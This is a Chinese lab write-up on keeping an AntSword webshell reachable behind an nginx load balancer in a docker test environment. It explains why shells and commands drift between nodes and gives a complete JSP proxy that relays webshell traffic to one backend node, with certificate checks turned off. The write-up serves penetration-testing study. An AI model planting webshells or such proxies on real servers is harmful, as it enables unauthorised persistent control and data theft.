目录
负载均衡下上传webshell
webshell简介
一、环境搭建
①下载中国蚁剑,于github获取官方版:
②下载docker&docker-compose
③结合前面启动环境
④验证
Ⅱ、负载均衡下webshell上传的几个问题
①shell文件上传稳定节点问题
②命令执行时的漂移问题
③大工具投放失败
Ⅲ、问题解决方案
①重复上传
②关机
③脚本实现web层的流量转发⭐⭐
webshell简介
某天公司的网络运维人员发现公司的业务系统遭到了攻击,被挂了木马,导致公司数据泄露,并且黑客留下了后门。webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序。Webshell就是就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,可以对web服务器进行操作的权限,也可以将其称做为一种网页后门。
Webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于Webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用。黑客在入侵了一个网站后,通过一些上传方式会将Sp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作,以达到控制网站服务器的目的。
GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests
【上面这个丢linux里,这个是在window上装加载器可以搜教程】
方式一
//安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖
yum install -y yum-utils device-mapper-persistent-data lvm2
//设置yum源
yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo//中央仓库
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo//阿里云仓库
//安装
yum -y install docker-ce.x86_64
【按照这个搞最后我是启动环境的时候出问题了,经过参考高手有了方式二】
方式二
//在 Linux上 安装 Docker
curl -sSL https://get.daocloud.io/docker | sh
//安装 Docker Compose
curl -L https://get.daocloud.io/docker/compose/releases/download/v2.16.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
//给予执行权限
chmod +x /usr/local/bin/docker-compose
//启动docker服务
systemctl start docker
//我的蚁剑放在/root下的
cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp
//启动环境
docker-compose up -d
//查看端口
docker ps -a
【访问192.168.174.77:18080 (外部无法直接访问,环境搭建成功)】
目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。
【第二行中间那个就是密码】
用shell尝试连接:
【测试连接成功之后左上角添加即可】
先尝试刷新,现在还是正常的状态
//看一下端口
[root@CentOS7 loadbalance-jsp]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a2a8e0faa078 nginx:1.17 "nginx -g 'daemon of…" 2 days ago Up 14 minutes 0.0.0.0:18080->80/tcp, :::18080->80/tcp loadbalance-jsp-nginx-1
5eeb49dec8b9 loadbalance-jsp-lbsnode1 "catalina.sh run" 2 days ago Up 14 minutes 8080/tcp loadbalance-jsp-lbsnode1-1
007e682ce6e4 loadbalance-jsp-lbsnode2 "catalina.sh run" 2 days ago Up 14 minutes 8080/tcp loadbalance-jsp-lbsnode2-1
//进入一个节点服务器
[root@CentOS7 loadbalance-jsp]# docker exec -it 5eeb49dec8b9 /bin/bash
//找一下ant.jsp
root@5eeb49dec8b9:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/39/map_files’: Operation not permitted
find: ‘/proc/47/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
//尝试让webshell连接失效
root@5eeb49dec8b9:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@5eeb49dec8b9:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant.jsp.bak
【多刷新几次就看到错误了、是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上,因为上面并没有我们上传上去的文件。所以访问不到,出现了404。故如何让我们的webshell均匀的出现在节服务器上,是第一个问题。】
简单来说就是发出webshell执行命令时,不知道命令会在哪台服务器上执行
//复活刚刚那个节点服务器【记得多刷新几次看复活成功没】
mv ant.jsp.bak ant.jsp
【在蚁剑中打开终端】
【执行查看IP的命令,发现每条命令都执行了负载均衡的策略,据高手跳跳小强的说明,换成权重模式再加上多台节点服务器的话,IP地址更是无迹可寻】
当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。
简单来说就是投放工具不完整
问题一解决可以重复上传多次,webshell一定能上传到所有的节点服务器上去。
能解决问题,但是实际环境中权限不知道够不够,够的话也十分危险,关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。
我们用AntSword无法直接访问LBSnode1的8080端口,但是除了Nginx外,LBSnode2是可以访问的,也就是说我们写入一个脚本判断流量的目的地址,不是node1的话就将流量中转给node1的ant.jsp。如此就可以建立攻击者和node1的稳定连接了。
【这个图的意思就是antproxy.jsp这个脚本无论你进入的是哪个节点,到最后都转发给node1的ant.jsp文件,以此达到稳定通信】
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
//地址自己看自己的节点服务器的地址
String target = "http://172.18.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
【在/usr/local/tomcat/webapps/ROOT/下创建antproxy.jsp】
【注意要新建,不要上传,和问题③一样的原因,会被分片】
【多保存几次让每个节点都部署到,重复刷新检查】
【把url填写成antproxy.jsp测试连接几次,然后进去】
验证
【这次查看IP就不漂移了】